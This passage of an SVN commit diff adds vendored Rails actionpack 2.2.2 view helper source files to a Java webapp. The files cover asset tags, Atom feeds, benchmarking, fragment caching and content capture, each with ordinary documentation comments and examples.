+      # Register one or more stylesheet files to be included when <tt>symbol</tt>
+      # is passed to <tt>stylesheet_link_tag</tt>. This method is typically intended
+      # to be called from plugin initialization to register stylesheet files
+      # that the plugin installed in <tt>public/stylesheets</tt>.
+      #
+      #   ActionView::Helpers::AssetTagHelper.register_stylesheet_expansion :monkey => ["head", "body", "tail"]
+      #
+      #   stylesheet_link_tag :monkey # =>
+      #     <link href="/stylesheets/head.css"  media="screen" rel="stylesheet" type="text/css" />
+      #     <link href="/stylesheets/body.css"  media="screen" rel="stylesheet" type="text/css" />
+      #     <link href="/stylesheets/tail.css"  media="screen" rel="stylesheet" type="text/css" />
+      def self.register_stylesheet_expansion(expansions)
+        StylesheetSources.expansions.merge!(expansions)
+      end
+
+      # Register one or more additional JavaScript files to be included when
+      # <tt>javascript_include_tag :defaults</tt> is called. This method is
+      # typically intended to be called from plugin initialization to register additional
+      # .js files that the plugin installed in <tt>public/javascripts</tt>.
+      def self.register_javascript_include_default(*sources)
+        JavaScriptSources.expansions[:defaults].concat(sources)
+      end
+
+      def self.reset_javascript_include_default #:nodoc:
+        JavaScriptSources.expansions[:defaults] = JAVASCRIPT_DEFAULT_SOURCES.dup
+      end
+
+      # Computes the path to a stylesheet asset in the public stylesheets directory.
+      # If the +source+ filename has no extension, <tt>.css</tt> will be appended.
+      # Full paths from the document root will be passed through.
+      # Used internally by +stylesheet_link_tag+ to build the stylesheet path.
+      #
+      # ==== Examples
+      #   stylesheet_path "style" # => /stylesheets/style.css
+      #   stylesheet_path "dir/style.css" # => /stylesheets/dir/style.css
+      #   stylesheet_path "/dir/style.css" # => /dir/style.css
+      #   stylesheet_path "http://www.railsapplication.com/css/style" # => http://www.railsapplication.com/css/style.css
+      #   stylesheet_path "http://www.railsapplication.com/css/style.js" # => http://www.railsapplication.com/css/style.css
+      def stylesheet_path(source)
+        StylesheetTag.new(self, @controller, source).public_path
+      end
+      alias_method :path_to_stylesheet, :stylesheet_path # aliased to avoid conflicts with a stylesheet_path named route
+
+      # Returns a stylesheet link tag for the sources specified as arguments. If
+      # you don't specify an extension, <tt>.css</tt> will be appended automatically.
+      # You can modify the link attributes by passing a hash as the last argument.
+      #
+      # ==== Examples
+      #   stylesheet_link_tag "style" # =>
+      #     <link href="/stylesheets/style.css" media="screen" rel="stylesheet" type="text/css" />
+      #
+      #   stylesheet_link_tag "style.css" # =>
+      #     <link href="/stylesheets/style.css" media="screen" rel="stylesheet" type="text/css" />
+      #
+      #   stylesheet_link_tag "http://www.railsapplication.com/style.css" # =>
+      #     <link href="http://www.railsapplication.com/style.css" media="screen" rel="stylesheet" type="text/css" />
+      #
+      #   stylesheet_link_tag "style", :media => "all" # =>
+      #     <link href="/stylesheets/style.css" media="all" rel="stylesheet" type="text/css" />
+      #
+      #   stylesheet_link_tag "style", :media => "print" # =>
+      #     <link href="/stylesheets/style.css" media="print" rel="stylesheet" type="text/css" />
+      #
+      #   stylesheet_link_tag "random.styles", "/css/stylish" # =>
+      #     <link href="/stylesheets/random.styles" media="screen" rel="stylesheet" type="text/css" />
+      #     <link href="/css/stylish.css" media="screen" rel="stylesheet" type="text/css" />
+      #
+      # You can also include all styles in the stylesheets directory using <tt>:all</tt> as the source:
+      #
+      #   stylesheet_link_tag :all # =>
+      #     <link href="/stylesheets/style1.css"  media="screen" rel="stylesheet" type="text/css" />
+      #     <link href="/stylesheets/styleB.css"  media="screen" rel="stylesheet" type="text/css" />
+      #     <link href="/stylesheets/styleX2.css" media="screen" rel="stylesheet" type="text/css" />
+      #
+      # If you want Rails to search in all the subdirectories under stylesheets, you should explicitly set <tt>:recursive</tt>:
+      #
+      #   stylesheet_link_tag :all, :recursive => true
+      #
+      # == Caching multiple stylesheets into one
+      #
+      # You can also cache multiple stylesheets into one file, which requires less HTTP connections and can better be
+      # compressed by gzip (leading to faster transfers). Caching will only happen if ActionController::Base.perform_caching
+      # is set to true (which is the case by default for the Rails production environment, but not for the development
+      # environment). Examples:
+      #
+      # ==== Examples
+      #   stylesheet_link_tag :all, :cache => true # when ActionController::Base.perform_caching is false =>
+      #     <link href="/stylesheets/style1.css"  media="screen" rel="stylesheet" type="text/css" />
+      #     <link href="/stylesheets/styleB.css"  media="screen" rel="stylesheet" type="text/css" />
+      #     <link href="/stylesheets/styleX2.css" media="screen" rel="stylesheet" type="text/css" />
+      #
+      #   stylesheet_link_tag :all, :cache => true # when ActionController::Base.perform_caching is true =>
+      #     <link href="/stylesheets/all.css"  media="screen" rel="stylesheet" type="text/css" />
+      #
+      #   stylesheet_link_tag "shop", "cart", "checkout", :cache => "payment" # when ActionController::Base.perform_caching is false =>
+      #     <link href="/stylesheets/shop.css"  media="screen" rel="stylesheet" type="text/css" />
+      #     <link href="/stylesheets/cart.css"  media="screen" rel="stylesheet" type="text/css" />
+      #     <link href="/stylesheets/checkout.css" media="screen" rel="stylesheet" type="text/css" />
+      #
+      #   stylesheet_link_tag "shop", "cart", "checkout", :cache => "payment" # when ActionController::Base.perform_caching is true =>
+      #     <link href="/stylesheets/payment.css"  media="screen" rel="stylesheet" type="text/css" />
+      #
+      # The <tt>:recursive</tt> option is also available for caching:
+      #
+      #   stylesheet_link_tag :all, :cache => true, :recursive => true
+      def stylesheet_link_tag(*sources)
+        options = sources.extract_options!.stringify_keys
+        cache   = options.delete("cache")
+        recursive = options.delete("recursive")
+
+        if ActionController::Base.perform_caching && cache
+          joined_stylesheet_name = (cache == true ? "all" : cache) + ".css"
+          joined_stylesheet_path = File.join(STYLESHEETS_DIR, joined_stylesheet_name)
+
+          unless File.exists?(joined_stylesheet_path)
+            StylesheetSources.create(self, @controller, sources, recursive).write_asset_file_contents(joined_stylesheet_path)
+          end
+          stylesheet_tag(joined_stylesheet_name, options)
+        else
+          StylesheetSources.create(self, @controller, sources, recursive).expand_sources.collect { |source|
+            stylesheet_tag(source, options)
+          }.join("\n")
+        end
+      end
+
+      # Computes the path to an image asset in the public images directory.
+      # Full paths from the document root will be passed through.
+      # Used internally by +image_tag+ to build the image path.
+      #
+      # ==== Examples
+      #   image_path("edit")                                         # => /images/edit
+      #   image_path("edit.png")                                     # => /images/edit.png
+      #   image_path("icons/edit.png")                               # => /images/icons/edit.png
+      #   image_path("/icons/edit.png")                              # => /icons/edit.png
+      #   image_path("http://www.railsapplication.com/img/edit.png") # => http://www.railsapplication.com/img/edit.png
+      def image_path(source)
+        ImageTag.new(self, @controller, source).public_path
+      end
+      alias_method :path_to_image, :image_path # aliased to avoid conflicts with an image_path named route
+
+      # Returns an html image tag for the +source+. The +source+ can be a full
+      # path or a file that exists in your public images directory.
+      #
+      # ==== Options
+      # You can add HTML attributes using the +options+. The +options+ supports
+      # three additional keys for convenience and conformance:
+      #
+      # * <tt>:alt</tt>  - If no alt text is given, the file name part of the
+      #   +source+ is used (capitalized and without the extension)
+      # * <tt>:size</tt> - Supplied as "{Width}x{Height}", so "30x45" becomes
+      #   width="30" and height="45". <tt>:size</tt> will be ignored if the
+      #   value is not in the correct format.
+      # * <tt>:mouseover</tt> - Set an alternate image to be used when the onmouseover
+      #   event is fired, and sets the original image to be replaced onmouseout.
+      #   This can be used to implement an easy image toggle that fires on onmouseover.
+      #
+      # ==== Examples
+      #  image_tag("icon")  # =>
+      #    <img src="/images/icon" alt="Icon" />
+      #  image_tag("icon.png")  # =>
+      #    <img src="/images/icon.png" alt="Icon" />
+      #  image_tag("icon.png", :size => "16x10", :alt => "Edit Entry")  # =>
+      #    <img src="/images/icon.png" width="16" height="10" alt="Edit Entry" />
+      #  image_tag("/icons/icon.gif", :size => "16x16")  # =>
+      #    <img src="/icons/icon.gif" width="16" height="16" alt="Icon" />
+      #  image_tag("/icons/icon.gif", :height => '32', :width => '32') # =>
+      #    <img alt="Icon" height="32" src="/icons/icon.gif" width="32" />
+      #  image_tag("/icons/icon.gif", :class => "menu_icon") # =>
+      #    <img alt="Icon" class="menu_icon" src="/icons/icon.gif" />
+      #  image_tag("mouse.png", :mouseover => "/images/mouse_over.png") # =>
+      #    <img src="/images/mouse.png" onmouseover="this.src='/images/mouse_over.png'" onmouseout="this.src='/images/mouse.png'" alt="Mouse" />
+      #  image_tag("mouse.png", :mouseover => image_path("mouse_over.png")) # =>
+      #    <img src="/images/mouse.png" onmouseover="this.src='/images/mouse_over.png'" onmouseout="this.src='/images/mouse.png'" alt="Mouse" />
+      def image_tag(source, options = {})
+        options.symbolize_keys!
+
+        options[:src] = path_to_image(source)
+        options[:alt] ||= File.basename(options[:src], '.*').split('.').first.to_s.capitalize
+
+        if size = options.delete(:size)
+          options[:width], options[:height] = size.split("x") if size =~ %r{^\d+x\d+$}
+        end
+
+        if mouseover = options.delete(:mouseover)
+          options[:onmouseover] = "this.src='#{image_path(mouseover)}'"
+          options[:onmouseout]  = "this.src='#{image_path(options[:src])}'"
+        end
+
+        tag("img", options)
+      end
+
+      private
+        def javascript_src_tag(source, options)
+          content_tag("script", "", { "type" => Mime::JS, "src" => path_to_javascript(source) }.merge(options))
+        end
+
+        def stylesheet_tag(source, options)
+          tag("link", { "rel" => "stylesheet", "type" => Mime::CSS, "media" => "screen", "href" => html_escape(path_to_stylesheet(source)) }.merge(options), false, false)
+        end
+
+        module ImageAsset
+          DIRECTORY = 'images'.freeze
+
+          def directory
+            DIRECTORY
+          end
+
+          def extension
+            nil
+          end
+        end
+
+        module JavaScriptAsset
+          DIRECTORY = 'javascripts'.freeze
+          EXTENSION = 'js'.freeze
+
+          def public_directory
+            JAVASCRIPTS_DIR
+          end
+
+          def directory
+            DIRECTORY
+          end
+
+          def extension
+            EXTENSION
+          end
+        end
+
+        module StylesheetAsset
+          DIRECTORY = 'stylesheets'.freeze
+          EXTENSION = 'css'.freeze
+
+          def public_directory
+            STYLESHEETS_DIR
+          end
+
+          def directory
+            DIRECTORY
+          end
+
+          def extension
+            EXTENSION
+          end
+        end
+
+        class AssetTag
+          extend ActiveSupport::Memoizable
+
+          Cache = {}
+          CacheGuard = Mutex.new
+
+          ProtocolRegexp = %r{^[-a-z]+://}.freeze
+
+          def initialize(template, controller, source, include_host = true)
+            # NOTE: The template arg is temporarily needed for a legacy plugin
+            # hook that is expected to call rewrite_asset_path on the
+            # template. This should eventually be removed.
+            @template = template
+            @controller = controller
+            @source = source
+            @include_host = include_host
+            @cache_key = if controller.respond_to?(:request)
+              [self.class.name,controller.request.protocol,
+               ActionController::Base.asset_host,
+               ActionController::Base.relative_url_root,
+               source, include_host]
+            else
+              [self.class.name,ActionController::Base.asset_host, source, include_host]
+            end
+          end
+          
+          def public_path
+            compute_public_path(@source)
+          end
+          memoize :public_path
+
+          def asset_file_path
+            File.join(ASSETS_DIR, public_path.split('?').first)
+          end
+          memoize :asset_file_path
+
+          def contents
+            File.read(asset_file_path)
+          end
+
+          def mtime
+            File.mtime(asset_file_path)
+          end
+
+          private
+            def request
+              @controller.request
+            end
+
+            def request?
+              @controller.respond_to?(:request)
+            end
+
+            # Add the the extension +ext+ if not present. Return full URLs otherwise untouched.
+            # Prefix with <tt>/dir/</tt> if lacking a leading +/+. Account for relative URL
+            # roots. Rewrite the asset path for cache-busting asset ids. Include
+            # asset host, if configured, with the correct request protocol.
+            def compute_public_path(source)
+              if source =~ ProtocolRegexp
+                source += ".#{extension}" if missing_extension?(source)
+                source = prepend_asset_host(source)
+                source
+              else
+                CacheGuard.synchronize do
+                  Cache[@cache_key] ||= begin
+                    source += ".#{extension}" if missing_extension?(source) || file_exists_with_extension?(source)
+                    source = "/#{directory}/#{source}" unless source[0] == ?/
+                    source = rewrite_asset_path(source)
+                    source = prepend_relative_url_root(source)                
+                    source = prepend_asset_host(source)
+                    source
+                  end
+                end
+              end
+            end
+            
+            def missing_extension?(source)
+              extension && File.extname(source).blank?
+            end
+            
+            def file_exists_with_extension?(source)
+              extension && File.exist?(File.join(ASSETS_DIR, directory, "#{source}.#{extension}"))
+            end
+            
+            def prepend_relative_url_root(source)
+              relative_url_root = ActionController::Base.relative_url_root
+              if request? && @include_host && source !~ %r{^#{relative_url_root}/}
+                "#{relative_url_root}#{source}"
+              else
+                source
+              end
+            end
+
+            def prepend_asset_host(source)
+              if @include_host && source !~ ProtocolRegexp
+                host = compute_asset_host(source)
+                if request? && !host.blank? && host !~ ProtocolRegexp
+                  host = "#{request.protocol}#{host}"
+                end
+                "#{host}#{source}"
+              else
+                source
+              end
+            end
+
+            # Pick an asset host for this source. Returns +nil+ if no host is set,
+            # the host if no wildcard is set, the host interpolated with the
+            # numbers 0-3 if it contains <tt>%d</tt> (the number is the source hash mod 4),
+            # or the value returned from invoking the proc if it's a proc.
+            def compute_asset_host(source)
+              if host = ActionController::Base.asset_host
+                if host.is_a?(Proc)
+                  case host.arity
+                  when 2
+                    host.call(source, request)
+                  else
+                    host.call(source)
+                  end
+                else
+                  (host =~ /%d/) ? host % (source.hash % 4) : host
+                end
+              end
+            end
+
+            # Use the RAILS_ASSET_ID environment variable or the source's
+            # modification time as its cache-busting asset id.
+            def rails_asset_id(source)
+              if asset_id = ENV["RAILS_ASSET_ID"]
+                asset_id
+              else
+                path = File.join(ASSETS_DIR, source)
+
+                if File.exist?(path)
+                  File.mtime(path).to_i.to_s
+                else
+                  ''
+                end
+              end
+            end
+
+            # Break out the asset path rewrite in case plugins wish to put the asset id
+            # someplace other than the query string.
+            def rewrite_asset_path(source)
+              if @template.respond_to?(:rewrite_asset_path)
+                # DEPRECATE: This way to override rewrite_asset_path
+                @template.send(:rewrite_asset_path, source)
+              else
+                asset_id = rails_asset_id(source)
+                if asset_id.blank?
+                  source
+                else
+                  "#{source}?#{asset_id}"
+                end
+              end
+            end
+        end
+
+        class ImageTag < AssetTag
+          include ImageAsset
+        end
+
+        class JavaScriptTag < AssetTag
+          include JavaScriptAsset
+        end
+
+        class StylesheetTag < AssetTag
+          include StylesheetAsset
+        end
+
+        class AssetCollection
+          extend ActiveSupport::Memoizable
+
+          Cache = {}
+          CacheGuard = Mutex.new
+
+          def self.create(template, controller, sources, recursive)
+            CacheGuard.synchronize do
+              key = [self, sources, recursive]
+              Cache[key] ||= new(template, controller, sources, recursive).freeze
+            end
+          end
+
+          def initialize(template, controller, sources, recursive)
+            # NOTE: The template arg is temporarily needed for a legacy plugin
+            # hook. See NOTE under AssetTag#initialize for more details
+            @template = template
+            @controller = controller
+            @sources = sources
+            @recursive = recursive
+          end
+
+          def write_asset_file_contents(joined_asset_path)
+            FileUtils.mkdir_p(File.dirname(joined_asset_path))
+            File.open(joined_asset_path, "w+") { |cache| cache.write(joined_contents) }
+            mt = latest_mtime
+            File.utime(mt, mt, joined_asset_path)
+          end
+
+          private
+            def determine_source(source, collection)
+              case source
+              when Symbol
+                collection[source] || raise(ArgumentError, "No expansion found for #{source.inspect}")
+              else
+                source
+              end
+            end
+
+            def validate_sources!
+              @sources.collect { |source| determine_source(source, self.class.expansions) }.flatten
+            end
+
+            def all_asset_files
+              path = [public_directory, ('**' if @recursive), "*.#{extension}"].compact
+              Dir[File.join(*path)].collect { |file|
+                file[-(file.size - public_directory.size - 1)..-1].sub(/\.\w+$/, '')
+              }.sort
+            end
+
+            def tag_sources
+              expand_sources.collect { |source| tag_class.new(@template, @controller, source, false) }
+            end
+
+            def joined_contents
+              tag_sources.collect { |source| source.contents }.join("\n\n")
+            end
+
+            # Set mtime to the latest of the combined files to allow for
+            # consistent ETag without a shared filesystem.
+            def latest_mtime
+              tag_sources.map { |source| source.mtime }.max
+            end
+        end
+
+        class JavaScriptSources < AssetCollection
+          include JavaScriptAsset
+
+          EXPANSIONS = { :defaults => JAVASCRIPT_DEFAULT_SOURCES.dup }
+
+          def self.expansions
+            EXPANSIONS
+          end
+
+          APPLICATION_JS = "application".freeze
+          APPLICATION_FILE = "application.js".freeze
+
+          def expand_sources
+            if @sources.include?(:all)
+              assets = all_asset_files
+              ((defaults.dup & assets) + assets).uniq!
+            else
+              expanded_sources = validate_sources!
+              expanded_sources << APPLICATION_JS if include_application?
+              expanded_sources
+            end
+          end
+          memoize :expand_sources
+
+          private
+            def tag_class
+              JavaScriptTag
+            end
+
+            def defaults
+              determine_source(:defaults, self.class.expansions)
+            end
+
+            def include_application?
+              @sources.include?(:defaults) && File.exist?(File.join(JAVASCRIPTS_DIR, APPLICATION_FILE))
+            end
+        end
+
+        class StylesheetSources < AssetCollection
+          include StylesheetAsset
+
+          EXPANSIONS = {}
+
+          def self.expansions
+            EXPANSIONS
+          end
+
+          def expand_sources
+            @sources.first == :all ? all_asset_files : validate_sources!
+          end
+          memoize :expand_sources
+
+          private
+            def tag_class
+              StylesheetTag
+            end
+        end
+    end
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/lib/action_view/helpers/atom_feed_helper.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/lib/action_view/helpers/atom_feed_helper.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/lib/action_view/helpers/atom_feed_helper.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,198 @@
+require 'set'
+
+# Adds easy defaults to writing Atom feeds with the Builder template engine (this does not work on ERb or any other
+# template languages).
+module ActionView
+  module Helpers #:nodoc:
+    module AtomFeedHelper
+      # Full usage example:
+      #
+      #   config/routes.rb:
+      #     ActionController::Routing::Routes.draw do |map|
+      #       map.resources :posts
+      #       map.root :controller => "posts"
+      #     end
+      #
+      #   app/controllers/posts_controller.rb:
+      #     class PostsController < ApplicationController::Base
+      #       # GET /posts.html
+      #       # GET /posts.atom
+      #       def index
+      #         @posts = Post.find(:all)
+      #
+      #         respond_to do |format|
+      #           format.html
+      #           format.atom
+      #         end
+      #       end
+      #     end
+      #
+      #   app/views/posts/index.atom.builder:
+      #     atom_feed do |feed|
+      #       feed.title("My great blog!")
+      #       feed.updated((@posts.first.created_at))
+      #
+      #       for post in @posts
+      #         feed.entry(post) do |entry|
+      #           entry.title(post.title)
+      #           entry.content(post.body, :type => 'html')
+      #
+      #           entry.author do |author|
+      #             author.name("DHH")
+      #           end
+      #         end
+      #       end
+      #     end
+      #
+      # The options for atom_feed are:
+      #
+      # * <tt>:language</tt>: Defaults to "en-US".
+      # * <tt>:root_url</tt>: The HTML alternative that this feed is doubling for. Defaults to / on the current host.
+      # * <tt>:url</tt>: The URL for this feed. Defaults to the current URL.
+      # * <tt>:id</tt>: The id for this feed. Defaults to "tag:#{request.host},#{options[:schema_date]}:#{request.request_uri.split(".")[0]}"
+      # * <tt>:schema_date</tt>: The date at which the tag scheme for the feed was first used. A good default is the year you
+      #   created the feed. See http://feedvalidator.org/docs/error/InvalidTAG.html for more information. If not specified,
+      #   2005 is used (as an "I don't care" value).
+      # * <tt>:instruct</tt>: Hash of XML processing instructions in the form {target => {attribute => value, }} or {target => [{attribute => value, }, ]}
+      #
+      # Other namespaces can be added to the root element:
+      #
+      #   app/views/posts/index.atom.builder:
+      #     atom_feed({'xmlns:app' => 'http://www.w3.org/2007/app',
+      #         'xmlns:openSearch' => 'http://a9.com/-/spec/opensearch/1.1/'}) do |feed|
+      #       feed.title("My great blog!")
+      #       feed.updated((@posts.first.created_at))
+      #       feed.tag!(openSearch:totalResults, 10)
+      #
+      #       for post in @posts
+      #         feed.entry(post) do |entry|
+      #           entry.title(post.title)
+      #           entry.content(post.body, :type => 'html')
+      #           entry.tag!('app:edited', Time.now)
+      #
+      #           entry.author do |author|
+      #             author.name("DHH")
+      #           end
+      #         end
+      #       end
+      #     end
+      #
+      # The Atom spec defines five elements (content rights title subtitle
+      # summary) which may directly contain xhtml content if :type => 'xhtml'
+      # is specified as an attribute.  If so, this helper will take care of
+      # the enclosing div and xhtml namespace declaration.  Example usage:
+      #
+      #    entry.summary :type => 'xhtml' do |xhtml|
+      #      xhtml.p pluralize(order.line_items.count, "line item")
+      #      xhtml.p "Shipped to #{order.address}"
+      #      xhtml.p "Paid by #{order.pay_type}"
+      #    end
+      #
+      #
+      # atom_feed yields an AtomFeedBuilder instance.  Nested elements yield
+      # an AtomBuilder instance.
+      def atom_feed(options = {}, &block)
+        if options[:schema_date]
+          options[:schema_date] = options[:schema_date].strftime("%Y-%m-%d") if options[:schema_date].respond_to?(:strftime)
+        else
+          options[:schema_date] = "2005" # The Atom spec copyright date
+        end
+
+        xml = options[:xml] || eval("xml", block.binding)
+        xml.instruct!
+        if options[:instruct]
+          options[:instruct].each do |target,attrs|
+            if attrs.respond_to?(:keys)
+              xml.instruct!(target, attrs)
+            elsif attrs.respond_to?(:each)
+              attrs.each { |attr_group| xml.instruct!(target, attr_group) }
+            end
+          end
+        end
+
+        feed_opts = {"xml:lang" => options[:language] || "en-US", "xmlns" => 'http://www.w3.org/2005/Atom'}
+        feed_opts.merge!(options).reject!{|k,v| !k.to_s.match(/^xml/)}
+
+        xml.feed(feed_opts) do
+          xml.id(options[:id] || "tag:#{request.host},#{options[:schema_date]}:#{request.request_uri.split(".")[0]}")
+          xml.link(:rel => 'alternate', :type => 'text/html', :href => options[:root_url] || (request.protocol + request.host_with_port))
+          xml.link(:rel => 'self', :type => 'application/atom+xml', :href => options[:url] || request.url)
+
+          yield AtomFeedBuilder.new(xml, self, options)
+        end
+      end
+
+      class AtomBuilder
+        XHTML_TAG_NAMES = %w(content rights title subtitle summary).to_set
+
+        def initialize(xml)
+          @xml = xml
+        end
+
+        private
+          # Delegate to xml builder, first wrapping the element in a xhtml
+          # namespaced div element if the method and arguments indicate
+          # that an xhtml_block? is desired.
+          def method_missing(method, *arguments, &block)
+            if xhtml_block?(method, arguments)
+              @xml.__send__(method, *arguments) do
+                @xml.div(:xmlns => 'http://www.w3.org/1999/xhtml') do |xhtml|
+                  block.call(xhtml)
+                end
+              end
+            else
+              @xml.__send__(method, *arguments, &block)
+            end
+          end
+
+          # True if the method name matches one of the five elements defined
+          # in the Atom spec as potentially containing XHTML content and
+          # if :type => 'xhtml' is, in fact, specified.
+          def xhtml_block?(method, arguments)
+            if XHTML_TAG_NAMES.include?(method.to_s)
+              last = arguments.last
+              last.is_a?(Hash) && last[:type].to_s == 'xhtml'
+            end
+          end
+      end
+
+      class AtomFeedBuilder < AtomBuilder
+        def initialize(xml, view, feed_options = {})
+          @xml, @view, @feed_options = xml, view, feed_options
+        end
+
+        # Accepts a Date or Time object and inserts it in the proper format. If nil is passed, current time in UTC is used.
+        def updated(date_or_time = nil)
+          @xml.updated((date_or_time || Time.now.utc).xmlschema)
+        end
+
+        # Creates an entry tag for a specific record and prefills the id using class and id.
+        #
+        # Options:
+        #
+        # * <tt>:published</tt>: Time first published. Defaults to the created_at attribute on the record if one such exists.
+        # * <tt>:updated</tt>: Time of update. Defaults to the updated_at attribute on the record if one such exists.
+        # * <tt>:url</tt>: The URL for this entry. Defaults to the polymorphic_url for the record.
+        # * <tt>:id</tt>: The ID for this entry. Defaults to "tag:#{@view.request.host},#{@feed_options[:schema_date]}:#{record.class}/#{record.id}"
+        def entry(record, options = {})
+          @xml.entry do
+            @xml.id(options[:id] || "tag:#{@view.request.host},#{@feed_options[:schema_date]}:#{record.class}/#{record.id}")
+
+            if options[:published] || (record.respond_to?(:created_at) && record.created_at)
+              @xml.published((options[:published] || record.created_at).xmlschema)
+            end
+
+            if options[:updated] || (record.respond_to?(:updated_at) && record.updated_at)
+              @xml.updated((options[:updated] || record.updated_at).xmlschema)
+            end
+
+            @xml.link(:rel => 'alternate', :type => 'text/html', :href => options[:url] || @view.polymorphic_url(record))
+
+            yield AtomBuilder.new(@xml)
+          end
+        end
+      end
+
+    end
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/lib/action_view/helpers/benchmark_helper.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/lib/action_view/helpers/benchmark_helper.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/lib/action_view/helpers/benchmark_helper.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,33 @@
+require 'benchmark'
+
+module ActionView
+  module Helpers
+    # This helper offers a method to measure the execution time of a block 
+    # in a template.
+    module BenchmarkHelper
+      # Allows you to measure the execution time of a block 
+      # in a template and records the result to the log. Wrap this block around
+      # expensive operations or possible bottlenecks to get a time reading
+      # for the operation.  For example, let's say you thought your file 
+      # processing method was taking too long; you could wrap it in a benchmark block.
+      #
+      #  <% benchmark "Process data files" do %>
+      #    <%= expensive_files_operation %>
+      #  <% end %>
+      #
+      # That would add something like "Process data files (345.2ms)" to the log,
+      # which you can then use to compare timings when optimizing your code.
+      #
+      # You may give an optional logger level as the second argument
+      # (:debug, :info, :warn, :error); the default value is :info.
+      def benchmark(message = "Benchmarking", level = :info)
+        if controller.logger
+          seconds = Benchmark.realtime { yield }
+          controller.logger.send(level, "#{message} (#{'%.1f' % (seconds * 1000)}ms)")
+        else
+          yield
+        end
+      end
+    end
+  end
+end
\ No newline at end of file

Added: trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/lib/action_view/helpers/cache_helper.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/lib/action_view/helpers/cache_helper.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/lib/action_view/helpers/cache_helper.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,39 @@
+module ActionView
+  module Helpers
+    # This helper to exposes a method for caching of view fragments.
+    # See ActionController::Caching::Fragments for usage instructions.
+    module CacheHelper
+      # A method for caching fragments of a view rather than an entire
+      # action or page.  This technique is useful caching pieces like
+      # menus, lists of news topics, static HTML fragments, and so on.
+      # This method takes a block that contains the content you wish
+      # to cache.  See ActionController::Caching::Fragments for more
+      # information.
+      #
+      # ==== Examples
+      # If you wanted to cache a navigation menu, you could do the
+      # following.
+      #
+      #   <% cache do %>
+      #     <%= render :partial => "menu" %>
+      #   <% end %>
+      #
+      # You can also cache static content...
+      #
+      #   <% cache do %>
+      #      <p>Hello users!  Welcome to our website!</p>
+      #   <% end %>
+      #
+      # ...and static content mixed with RHTML content.
+      #
+      #    <% cache do %>
+      #      Topics:
+      #      <%= render :partial => "topics", :collection => @topic_list %>
+      #      <i>Topics listed alphabetically</i>
+      #    <% end %>
+      def cache(name = {}, options = nil, &block)
+        @controller.fragment_for(output_buffer, name, options, &block)
+      end
+    end
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/lib/action_view/helpers/capture_helper.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/lib/action_view/helpers/capture_helper.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/lib/action_view/helpers/capture_helper.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,136 @@
+module ActionView
+  module Helpers
+    # CaptureHelper exposes methods to let you extract generated markup which
+    # can be used in other parts of a template or layout file.
+    # It provides a method to capture blocks into variables through capture and 
+    # a way to capture a block of markup for use in a layout through content_for.
+    module CaptureHelper
+      # The capture method allows you to extract part of a template into a 
+      # variable. You can then use this variable anywhere in your templates or layout. 
+      # 
+      # ==== Examples
+      # The capture method can be used in ERb templates...
+      # 
+      #   <% @greeting = capture do %>
+      #     Welcome to my shiny new web page!  The date and time is
+      #     <%= Time.now %>
+      #   <% end %>
+      #
+      # ...and Builder (RXML) templates.
+      # 
+      #   @timestamp = capture do
+      #     "The current timestamp is #{Time.now}."
+      #   end
+      #
+      # You can then use that variable anywhere else.  For example:
+      #
+      #   <html>
+      #   <head><title><%= @greeting %></title></head>
+      #   <body>
+      #   <b><%= @greeting %></b>
+      #   </body></html>
+      #
+      def capture(*args, &block)
+        # Return captured buffer in erb.
+        if block_called_from_erb?(block)
+          with_output_buffer { block.call(*args) }
+        else
+          # Return block result otherwise, but protect buffer also.
+          with_output_buffer { return block.call(*args) }
+        end
+      end
+
+      # Calling content_for stores a block of markup in an identifier for later use.
+      # You can make subsequent calls to the stored content in other templates or the layout
+      # by passing the identifier as an argument to <tt>yield</tt>.
+      # 
+      # ==== Examples
+      # 
+      #   <% content_for :not_authorized do %>
+      #     alert('You are not authorized to do that!')
+      #   <% end %>
+      #
+      # You can then use <tt>yield :not_authorized</tt> anywhere in your templates.
+      #
+      #   <%= yield :not_authorized if current_user.nil? %>
+      #
+      # You can also use this syntax alongside an existing call to <tt>yield</tt> in a layout.  For example:
+      #
+      #   <%# This is the layout %>
+      #   <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
+      #   <head>
+      #	    <title>My Website</title>
+      #	    <%= yield :script %>
+      #   </head>
+      #   <body>
+      #     <%= yield %>
+      #   </body>
+      #   </html>
+      #
+      # And now, we'll create a view that has a content_for call that
+      # creates the <tt>script</tt> identifier.
+      #
+      #   <%# This is our view %>
+      #   Please login!
+      #
+      #   <% content_for :script do %>
+      #     <script type="text/javascript">alert('You are not authorized to view this page!')</script>
+      #   <% end %>
+      #
+      # Then, in another view, you could to do something like this:
+      #
+      #   <%= link_to_remote 'Logout', :action => 'logout' %>
+      #
+      #   <% content_for :script do %>
+      #     <%= javascript_include_tag :defaults %>
+      #   <% end %>
+      #
+      # That will place <script> tags for Prototype, Scriptaculous, and application.js (if it exists)
+      # on the page; this technique is useful if you'll only be using these scripts in a few views.
+      #
+      # Note that content_for concatenates the blocks it is given for a particular
+      # identifier in order. For example:
+      #
+      #   <% content_for :navigation do %>
+      #     <li><%= link_to 'Home', :action => 'index' %></li>
+      #   <% end %>
+      #
